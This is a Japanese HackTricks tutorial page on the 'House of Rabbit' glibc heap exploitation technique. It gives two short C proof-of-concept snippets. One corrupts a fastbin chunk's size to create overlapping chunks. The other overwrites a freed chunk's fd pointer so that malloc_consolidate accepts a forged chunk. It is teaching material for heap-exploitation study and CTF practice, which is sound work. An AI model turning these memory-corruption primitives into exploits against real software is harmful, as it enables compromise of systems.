House of Rabbit

htARTE(HackTricks AWS Red Team Expert) を使って、ゼロからヒーローまでAWSハッキングを学ぶ

HackTricks をサポートする他の方法:

必要条件

  1. Fastbinのfdポインターまたはサイズを変更する能力:これは、fastbin内のチャンクの前方ポインターまたはサイズを変更できることを意味します。

  2. malloc_consolidateをトリガーする能力:これは、大きなチャンクを割り当てるか、トップチャンクをマージすることによって行うことができます。これにより、ヒープがチャンクを統合するようになります。

ゴール

  1. 重複するチャンクを作成する:他のチャンクと重なるように1つのチャンクを作成し、さらなるヒープ操作を可能にします。

  2. 偽のチャンクを作成する:アロケーターをだますために、偽のチャンクをヒープ操作中に正当なチャンクとして扱わせます。

攻撃の手順

POC 1: Fastbinチャンクのサイズを変更する

目的: fastbinチャンクのサイズを操作して、重複するチャンクを作成します。

  • ステップ1: チャンクを割り当てる

unsigned long* chunk1 = malloc(0x40);  // Allocates a chunk of 0x40 bytes at 0x602000
unsigned long* chunk2 = malloc(0x40);  // Allocates another chunk of 0x40 bytes at 0x602050
malloc(0x10);                          // Allocates a small chunk to change the fastbin state
  • ステップ 2: チャンクを解放する

free(chunk1);  // Frees the chunk at 0x602000
free(chunk2);  // Frees the chunk at 0x602050
  • ステップ 3: チャンクサイズの変更

chunk1[-1] = 0xa1;  // Modify the size of chunk1 to 0xa1 (stored just before the chunk at chunk1[-1])
  • ステップ 4: malloc_consolidateをトリガーする

malloc(0x1000);  // Allocate a large chunk to trigger heap consolidation

大きなチャンクを割り当てると、malloc_consolidate 関数がトリガーされ、fastbin 内の小さなチャンクがマージされます。chunk1 の操作されたサイズにより、chunk2 と重なるようになります。

統合後、chunk1chunk2 と重なり、さらなる悪用が可能になります。

POC 2: FD ポインタの変更

目的: fastbin の fd ポインタを操作してフェイクチャンクを作成します。

  • ステップ 1: チャンクの割り当て

unsigned long* chunk1 = malloc(0x40);  // Allocates a chunk of 0x40 bytes at 0x602000
unsigned long* chunk2 = malloc(0x100); // Allocates a chunk of 0x100 bytes at 0x602050

説明: 2つのチャンクを割り当て、1つは小さく、もう1つは大きくして、フェイクチャンクのためにヒープをセットアップします。

  • ステップ2: フェイクチャンクの作成

chunk2[1] = 0x31;  // Fake chunk size 0x30
chunk2[7] = 0x21;  // Next fake chunk
chunk2[11] = 0x21; // Next-next fake chunk
  • ステップ 3: チャンク1を解放する

free(chunk1);  // Frees the chunk at 0x602000

説明: chunk1を解放し、それをfastbinリストに追加します。

  • ステップ4: Chunk1のFDを修正

chunk1[0] = 0x602060;  // Modify the fd of chunk1 to point to the fake chunk within chunk2

説明: chunk1の前方ポインタ(fd)をchunk2内のフェイクチャンクを指すように変更します。

  • ステップ5: malloc_consolidateをトリガーする

malloc(5000);  // Allocate a large chunk to trigger heap consolidation

再度大きなチャンクを割り当てると、malloc_consolidate がトリガーされ、フェイクチャンクが処理されます。

フェイクチャンクはファストビンリストの一部となり、さらなる悪用のための正当なチャンクとなります。

要約

House of Rabbit テクニックは、ファストビンチャンクのサイズを変更して重複するチャンクを作成するか、fdポインタを操作してフェイクチャンクを作成することを含みます。これにより、攻撃者はヒープ内で正当なチャンクを偽造し、さまざまな形式の悪用を可能にします。これらの手順を理解し、実践することで、ヒープの悪用スキルを向上させることができます。

Last updated